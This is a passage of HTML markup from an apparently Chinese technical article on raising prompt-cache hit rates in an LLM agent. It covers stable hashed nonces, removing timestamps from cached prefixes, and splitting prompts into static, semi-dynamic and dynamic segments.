sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">utils.RandStringBytes(6)</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">，</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">每次 LLM 调用都随机生成一个新的</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpozf71t9x"><span leaf="">这意味着，即使两次调用的 Prompt body 完全相同——父任务链一样、当前任务目标一样、执行指令一样——但因为 nonce 变化了，整段文本的字节序列就不同了。上游前缀缓存沿着 Prompt 做字节级匹配，遇到 nonce 变化的位置就断了，后面所有内容全部 miss。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpv8p024jl"><span leaf="">类似的问题还出现在其他&#34;看起来无害&#34;的单体成分上：</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mrlpv8p0l7m" style="font-size: 15px;"><strong style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">time.Now().String()</span></span></code></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">时间戳，每秒都不同，让整段 Prompt 的字节 hash 每次都变；</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;text-align: left;"><span mpa-font-style="mrlpv8p01a8b" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">工具调用缓存块里的 turn nonce</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">每轮 LLM 调用的 nonce 直接嵌在 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">&lt;|CACHE_TOOL_CALL_&lt;nonce&gt;|&gt;</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 标签里，跨轮必然不同。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpv8p05l4" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">这些成分的共同特点是：</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">它们的相关有效内容本身可能不变，但嵌入的标识符每次都随机，导致字节序列不稳定</span></span></strong></span><span style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span mpa-font-style="mrlpv8p023ip"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">2.2 稳定派生：让安全与缓存共存</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpq6x21hfi"><span leaf="">解决思路不是去掉 nonce（安全不能妥协），而是让 nonce 在&#34;内容不变时也不变&#34;。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mrlpq6x222xe" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">我们设计了 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mrn8a97ql6w" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mrn8a97z250x" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">StablePromptNonce</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 函数，用哈希把语义标识符映射成稳定的 6 字符 nonce：</span></span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"></code></pre><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"><span class="code-snippet__title">StablePromptNonce</span></span><span class="code-snippet__function"><span class="code-snippet__params">(parts ...</span></span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__type">string</span></span></span><span class="code-snippet__function"><span class="code-snippet__params">)</span></span> <span class="code-snippet__type">string</span> {</span></code><br/><code><span leaf="">    h := fnv.New64a()</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">for</span> i, p := <span class="code-snippet__keyword">range</span> parts {</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">if</span> i &gt; <span class="code-snippet__number">0</span> { h.Write([]<span class="code-snippet__type">byte</span>{<span class="code-snippet__number">0</span>}) }</span></code><br/><code><span leaf="">        h.Write([]<span class="code-snippet__type">byte</span>(p))</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf="">    v := h.Sum64()</span></code><br/><code><span leaf="">    <span class="code-snippet__comment">// 映射到 6 字符稳定 nonce</span></span></code><br/><code><span leaf="">    ...</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrlpvnk2vk3" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.247265625" data-type="png" data-w="2560" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="6867" data-height="1700" data-imgfileid="100046342" src="https://wechat2rss.xlab.app/img-proxy/?k=ffdfda89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GlecXrKO6dkrKYSanumuG18HHrichvQqiaJZvHbSmmQvtksUgVPeenmOAEeHqwwcdrFupNdRP1GuXFN674dW57FBh9mhYkevlFM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpvz9bwtb"><span leaf="">同一组 part</span></span><span mpa-font-style="mrlpvz9bype" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">反复调用必返回相同 nonce</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></p><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpvz9b1tpp" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">对于时间戳，解决方案更直接：把 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">time.Now()</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 从所有可能进入缓存前缀的段落中移除，时间信息只放在最易变的尾段。</span></span></span></p><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpvz9bzu5" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">对于工具调用缓存块，nonce 改用占位符字面量 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">&#34;[current-nonce]&#34;</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 渲染——LLM 看到方括号占位符理解为&#34;应替换为当前轮 nonce&#34;，解析端通过双注册（turn nonce + 占位符字面量）兜底，任一种 LLM 行为都能正确解析。</span></span></span></p><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpvz9b1iwc" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">这一步的效果是：缓存命中率从 </span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">1.10% 提升到 6.27%</span></span></strong></span><span style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span mpa-font-style="mrlpvz9b6vt"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpvz9b6vt"><span leaf="">绝对值仍然不高，但这是从&#34;几乎完全 miss&#34;到&#34;开始能命中&#34;的质变——单体成分不再无差别地击穿前缀。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">三、问题二：如何把混乱的成分归入正确的段</span></strong></p></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpwm1k1vsy"><span leaf="">解决了单体成分的字节抖动之后，面对的是更大的问题：Prompt 的各种成分仍然混在一起，没有边界。上游缓存从 Prompt 开头开始做字节级最长公共前缀匹配，一旦遇到第一个变化的字节，后面再稳定的内容也无法命中。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpwm1kqu1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">解法是</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">按稳定性分层</span></span></strong></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpwm1k1pbt"><span leaf="">——把成分按&#34;跨调用不变的&#34;和&#34;每轮都变的&#34;分开，让稳定的在前，易变的在后，在两者之间插入显式的缓存边界。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">3.1 High-Static 段：把&#34;永远不变&#34;的收整到一起</span></strong></span></p></div></div></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpxcw6clv"><span leaf="">第一类要收整的是</span></span><span mpa-font-style="mrlpxcw61buj" style="font-size: 15px;"><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">跨所有调用永远不变的内容</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">：</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">Agent 性格特质、输出格式硬规则、AITAG 协议、推理方法论</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">这些内容无论当前跑的是哪个子循环、执行的是哪个任务，都不应该变化。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpxcw66tt" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">最初的问题是：这段内容里混进了</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">系统角色差异化</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">的字段。不同系统角色注入的 OutputExample 不同，能力配置在也会变。这些字段虽然每次调用</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">自身稳定，但跨角色切换时就会变</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">把它们放在 high-static 里，任何 系统角色切换都会让整段内容漂移。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpxcw6mi2" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">修复的第一步是</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">把 caller-specific 字段全部迁出</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">OutputExample、能力开关、Schema 等 caller 维度才稳定的内容，下沉到后面的 semi-dynamic 段。high-static 段只保留真正跨所有 caller 都不变的内容。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpxcw6l8r" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">修复的第二步是</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">提炼系统共享约束补足 token 数量</span></span></strong></span><span style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span mpa-font-style="mrlpxcw61940"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpxcw61940"><span leaf="">主流模型厂商对显式缓存简历有最小窗口约束，最初的 high-static 段只有少量的内容，后续我们追加了 AITAG Protocol、Reasoning Protocol、Experiment Method Protocol 等跨所有 caller 都不变的方法论内容。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrlpxka5jjr" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.262890625" data-type="png" data-w="2560" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="3400" data-height="4295" data-imgfileid="100046344" src="https://wechat2rss.xlab.app/img-proxy/?k=4b752e8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FGicKq5qcf4AjqD3ncHw5QuribkwgVwINSdWNTbHY7Cfhe16CTAQbjCBsDuDcSIz5AHibiazJrg3E5OHjLCrCz7uuDzwhNP3DWia8c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">3.2 Semi-Dynamic 段与 Dynamic 段：从混乱的角色 Prompt 中整合出标准结构</span></strong></span></p></div></div></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpyabwm1j"><span leaf="">在 high-static 之外，Prompt 中还有大量&#34;同一 caller 内稳定但跨 caller 会变&#34;的内容。最初这些内容和&#34;每轮都变&#34;的内容混在一起，没有边界。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabxk8r" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">以 ReAct 主循环为例，最初的 Prompt 里，Schema（当前可用 action 的 JSON Schema 定义）、OutputExample（输出格式示例）、Instruction（角色指令）和用户最新输入、迭代反馈数据、注入记忆等全部拼在一段连续文本里。Schema 在同一 loop 内每轮都一样，但和每轮都变的 ReactiveData 混排，导致缓存从第一个变化的字节处就断了。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabx1om2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">整理后的方案是把这些内容分成两段：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpyabx172h" style="font-size: 15px;"><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">semi-dynamic 段</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（同一 caller 内稳定）：</span></span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;text-align: left;"><span leaf="" mpa-font-style="mrlpyabxzfz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Instruction（当前系统的角色核心指令）：同一 loop 内不变，但是切换角色会变化</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabx1osd" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Schema（当前 action 的 JSON Schema）：同一 loop 内不变</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabxtt4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">OutputExample（输出格式示例）：同一 caller 内不变</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabxwy0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">CacheToolCall（工具调用缓存块）：用占位符 nonce 渲染后跨轮字节稳定</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpyabxoqc" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">dynamic 段</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（每轮都变）：</span></span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabx11rz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">UserQuery（用户最新输入）：每轮不同</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabx24sc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">ReactiveData（迭代反馈、验证结果、工具返回值）：每轮不同</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabx1lqg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">InjectedMemory（注入的记忆检索结果）：每轮不同</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpyabx1f25" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">ExtraCapabilities（动态发现的能力）：每轮可能不同</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrlpyabx3sj" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">这一步的效果是：ReAct 主循环 5 次连续 chat 实现了 4 段全部 byte-identical，</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">prefix_hit_ratio = 100%</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">。全量命中率提升到 </span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">~25-30%</span></span></strong></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpyabx1ib5"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: 